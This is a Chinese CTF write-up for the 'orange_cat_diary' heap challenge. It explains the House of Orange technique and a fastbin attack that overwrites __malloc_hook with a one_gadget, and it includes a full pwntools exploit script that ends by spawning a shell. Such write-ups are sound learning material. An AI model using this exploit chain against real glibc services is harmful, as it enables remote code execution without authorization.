蒟蒻现做现学.。。说实话,house系列,之前都不敢下手,想着积淀积淀。没想到,嗯,还挺简单。
目录
前言
审计一下题目:经典菜单,edit,show,add,delete俱全
嗯,啧啧,delete还有个UAF太明显,爽爽unsortedbin-leak-libc!
——what!show只能一次,delete只能一次!!!救命。。。我该怎么做。
一、House-Of-Orange
虽然说house系列我不敢轻易上手学,但是各个手法的名字我还是听过的——本题的名字就叫做Orange_cat_diary,是不是一种暗示?
典型题目
Hitcon CTF 2016 - house of orange 做题笔记_hticon house of orange-优快云博客
关于house of orange(unsorted bin attack &&FSOP)的学习总结 - ZikH26 - 博客园 (cnblogs.com)(2021安询杯,和本题高度相似)
适用范围
◆
2.23
——2.26
◆没有
free
◆可以
unsortedbin attack、
利用方式
stage1
◆申请
chunk A
,假设此时的top_chunk
的size
为0xWXYZ。
◆写
A
,溢出修改top_chunk
的size
为0xXYZ
(需要满足页对齐的检测条件)。◆申请一个大于
0xXYZ
大小的chunk
,此时top_chunk
会进行grow
,并将原来的old top_chunk
释放进入unsortedbin。
stage2
◆溢出写
A
,修改处于unsortedbin
中的old top_chunk
,修改其size
为0x61
,其bk
为&_IO_list_all-0x10
,同时伪造好IO_FILE
结构。◆申请非
0x60
大小的chunk
的时候,首先触发unsortedbin attack
,将_IO_list_all
修改为main_arena+88
,然后unsortedbin chunk
会进入到smallbin
,大小为0x60
;接着遍历unsortedbin
的时候触发了malloc_printerr
,然后调用链为:malloc_printerr -> libc_message -> abort -> _IO_flush_all_lockp
,调用到伪造的vtable
里面的函数指针。
注意:可以在没有free的情况下leak libc!这正是我们所需要的
二、简单的wp
Free后指针未清零,存在UAF漏洞,但是本题有几个限制
free和show只有一次机会。
基本思路是hook劫持,首先要泄露libc,受限于free只能free一次,于是用house_of_orange手法(题目名称也暗示了)leak libc。此时只用了一次show
然后用唯一的一次free机会,进行fastbin-attack;用uaf将bin里的fastbinchunk-next写fake-chunk到malloc_hook附近。
写malloc_hook劫持为one_gadget即可
orange_cat_diary利用链:
-
show只有一次机会的限制:利用house_of_orange进行leak libc
-
free只有一次机会的限制:利用uaf进行fastbin-attack
-
劫持fake-chunk到malloc_hook附近
-
劫持malloc_hook到one_gadget
-
malloc触发malloc_hook
三、EXP
from pwn import *
context(arch='amd64',log_level='debug')
one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247] # 0xf03a4成功了
for onegadget in one_gadget:
# io=process('./pwn')
# gdb.attach(io);input()
io=remote(ip,port)
libc=ELF('./libc-2.23.so')
def add(size,content):
io.sendlineafter(b'choice:',b'1')
io.sendlineafter(b'content:',str(size).encode())
io.sendlineafter(b'content:',content)
def edit(size,content):
io.sendlineafter(b'choice:',b'4')
io.sendlineafter(b'content:',str(size).encode())
io.sendlineafter(b'content:\n',content)
def show():
io.sendlineafter(b'choice:',b'2')
def delete():
io.sendlineafter(b'choice:',b'3')
io.sendline(b'name')
io.recvuntil(b'stories.\n')
add(0x18,b'aa')
edit(0x20,p64(0)*3+p64(0xfe1))
add(0x1000,b'')
add(0x30,b'')
# print(show())
show()
main_arena=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-1514
success(hex(main_arena))
malloc_hook=main_arena-0x10
libc_base=main_arena-0x3c3b20-0x1000 #一开始本地的libc版本有点问题,正确的libc刚好还要偏0x1000
success(hex(libc_base))
fake_chunk=malloc_hook-0x23
add(0x60,b'')
delete()
edit(0x60,p64(fake_chunk))
add(0x60,b'')
add(0x60,b'')
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# payload=p64(0)+b'\x00\x00\x00'+p64(libc_base+onegadget)+p64(libc_base+libc.sym['realloc']) 一开始libc错了,还以为堆风水不好,,,(实际是libc基址都错了,也就有了上面的-0x1000)
# edit(0x60,payload)
edit(0x60,b'\x00'*0x13+p64(libc_base+onegadget))
io.sendlineafter(b'choice:',b'1')
io.sendlineafter(b'content:',b'sh')
io.interactive()
总结
比较惊险,磨了半天,学习house of orange然后利用,居然真的过了。那一刻的高兴至今难忘。